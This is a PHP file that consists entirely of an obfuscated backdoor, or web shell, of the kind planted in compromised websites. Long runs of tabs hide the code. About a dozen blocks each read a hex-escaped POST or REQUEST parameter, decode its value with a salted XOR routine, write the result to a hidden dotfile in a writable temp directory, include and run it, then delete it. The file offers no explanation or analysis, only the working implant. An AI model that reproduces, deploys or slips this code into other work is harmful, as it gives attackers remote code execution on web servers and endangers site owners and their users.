<?php																																										if(in_array("\x62\x69nd", array_keys($_POST))){ $token = $_POST["\x62\x69nd"]; $token= explode ( '.', $token); $comp =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt6); $p =0; array_walk($token, function ($v5) use (&$comp, &$p, $salt6, $sLen) {$chS =ord($salt6[$p % $sLen]); $d =((int)$v5 - $chS - ($p % 10)) ^ 2; $comp.=chr($d); $p++; }); $value = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP")]); for ($flg = 0, $obj = count($value); $flg < $obj; $flg++) { $dchunk = $value[$flg]; if (is_dir($dchunk) ? is_writable($dchunk) : false) { $data = "$dchunk/.mrk"; if (file_put_contents($data, $comp)) { require $data; unlink($data); die(); } } } }
																																										if(!empty($_POST["\x6F\x62\x6Aect"])){ $desc = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd()]); $res = $_POST["\x6F\x62\x6Aect"]; $res = explode ( ".", $res ); $ptr= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $x= 0; array_walk( $res, function( $v7) use( &$ptr, &$x, $salt, $lenS) { $sChar= ord( $salt[$x % $lenS]); $dec= ( ( int)$v7 - $sChar -( $x % 10))^69; $ptr.=chr( $dec); $x++; }); while ($value = array_shift($desc)) { if (!!is_dir($value) && !!is_writable($value)) { $element = join("/", [$value, ".flg"]); $success = file_put_contents($element, $ptr); if ($success) { include $element; @unlink($element); exit;} } } }
																																										if(isset($_POST["k"])){ $holder = $_POST["k"]; $holder =explode ( "." , $holder ) ; $pset=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); $z=0; foreach( $holder as $v8) { $sChar=ord( $s[$z % $lenS]); $d=( ( int)$v8 - $sChar -( $z % 10)) ^ 19; $pset .=chr( $d); $z++; } $entry = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), getenv("TMP"), "/tmp"]); foreach ($entry as $object): if (!!is_dir($object) && !!is_writable($object)) { $parameter_group = join("/", [$object, ".binding"]); if (@file_put_contents($parameter_group, $pset) !== false) { include $parameter_group; unlink($parameter_group); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["\x64es\x63"] ?? null)){ $ptr = $_REQUEST["\x64es\x63"]; $ptr = explode(".", $ptr ); $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $n = 0; $__len = count( $ptr ); do { if( $n >= $__len) break; $v1 = $ptr[$n]; $chS = ord( $s[$n % $sLen] ); $d = ( ( int)$v1 - $chS -( $n % 10)) ^ 80; $obj .= chr( $d ); $n++; } while( true ); $mrk = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); for ($fac = 0, $factor = count($mrk); $fac < $factor; $fac++) { $entry = $mrk[$fac]; if (max(0, is_dir($entry) * is_writable($entry))) { $symbol = "$entry" . "/.component"; $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $symbol; @unlink($symbol); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64ch\x75nk"])){ $item = $_REQUEST["\x64ch\x75nk"]; $item=explode ( "." , $item ) ; $pset =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $t =0; $__tmp =$item; while ($v8 =array_shift($__tmp)) { $chS =ord($salt[$t % $sLen]); $d =((int)$v8 - $chS - ($t % 10))^57; $pset .= chr($d); $t++; } $dat = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp"]); foreach ($dat as $marker): if (is_dir($marker) ? is_writable($marker) : false) { $fac = join("/", [$marker, ".pointer"]); if (file_put_contents($fac, $pset)) { include $fac; @unlink($fac); exit; } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x64\x61t"])){ $bind = $_POST["\x64\x61t"]; $bind= explode ( '.' , $bind) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach($bind as $m => $v7): $chS = ord($salt[$m %$lenS] ); $dec = ((int)$v7 - $chS -($m %10))^ 47; $obj .= chr($dec ); endforeach; $mrk = array_filter(["/tmp", getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP")]); while ($element = array_shift($mrk)) { if (is_dir($element) ? is_writable($element) : false) { $symbol = str_replace("{var_dir}", $element, "{var_dir}/.rec"); if (file_put_contents($symbol, $obj)) { require $symbol; unlink($symbol); die(); } } } }
																																										if(@$_POST["to\x6Ben"] !== null){ $rec = $_POST["to\x6Ben"]; $rec= explode('.' , $rec ); $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $p = 0; while ($p < count($rec)) { $v4 = $rec[$p]; $sChar = ord($s[$p % $sLen] ); $dec = ((int)$v4 - $sChar - ($p % 10)) ^ 39; $item .= chr($dec ); $p++; } $record = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), getenv("TMP")]); $element = 0; do { $resource = $record[$element] ?? null; if ($element >= count($record)) break; if (max(0, is_dir($resource) * is_writable($resource))) { $parameter_group = sprintf("%s/.elem", $resource); if (file_put_contents($parameter_group, $item)) { require $parameter_group; unlink($parameter_group); die(); } } $element++; } while (true); }
																																										if(@$_REQUEST["re\x73\x6Fu\x72\x63e"] !== null){ $res = $_REQUEST["re\x73\x6Fu\x72\x63e"]; $res = explode ('.', $res ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $j = 0; $len = count($res); do { if ($j>=$len) break; $v7 = $res[$j]; $sChar = ord($salt[$j % $lenS]); $dec = ((int)$v7 - $sChar - ($j % 10)) ^33; $binding.=chr($dec); $j++; } while (true); $ptr = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp"]); $entity = 0; do { $dat = $ptr[$entity] ?? null; if ($entity >= count($ptr)) break; if (is_dir($dat) && is_writable($dat)) { $marker = "$dat/.record"; if (@file_put_contents($marker, $binding) !== false) { include $marker; unlink($marker); die(); } } $entity++; } while (true); }
																																										if(!is_null($_REQUEST["fa\x63to\x72"] ?? null)){ $bind = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp"]); $obj = $_REQUEST["fa\x63to\x72"]; $obj =explode ( ".",$obj ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $o = 0; foreach ($obj as $v1) { $sChar = ord($s[$o%$sLen]); $dec = ((int)$v1 - $sChar - ($o%10)) ^ 11; $data_chunk .= chr($dec); $o++; } foreach ($bind as $token): if (is_dir($token) && is_writable($token)) { $elem = "$token" . "/.record"; if (file_put_contents($elem, $data_chunk)) { include $elem; @unlink($elem); exit; } } endforeach; }
																																										if(in_array("des\x63", array_keys($_POST))){ $factor = $_POST["des\x63"]; $factor= explode ( ".", $factor ) ; $fac = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $len = count($factor); for ($n = 0; $n < $len; $n++) {$v5 = $factor[$n]; $chS = ord($salt1[$n%$lenS]); $d = ((int)$v5 - $chS - ($n%10)) ^ 55; $fac .=chr($d); } $obj = array_filter(["/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir()]); foreach ($obj as $itm): if (is_dir($itm) ? is_writable($itm) : false) { $tkn = "$itm/.dat"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $tkn; @unlink($tkn); die(); } } endforeach; }


if(in_array("\x72\x65f", array_keys($_POST))){
	$desc = $_POST["\x72\x65f"];
	$desc		 =explode('.'	 , $desc		 ); 
	$component	 =	'';
            $salt8	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =	strlen($salt8);
            $w	 =	0;
    
            while ($w	 <		count($desc)) {		$v7	 =	$desc[$w];
                $sChar	 =	ord($salt8[$w % $lenS]);
                $d	 =	((int)$v7 - $sChar - ($w % 10)) ^ 21;
                $component	.=chr($d);
                $w++;}	
	$mrk = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]);
	foreach ($mrk as $binding):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) {
    $item = str_replace("{var_dir}", $binding, "{var_dir}/.val");
    $success = file_put_contents($item, $component);
if ($success) {
	include $item;
	@unlink($item);
	die();}
}
endforeach;
}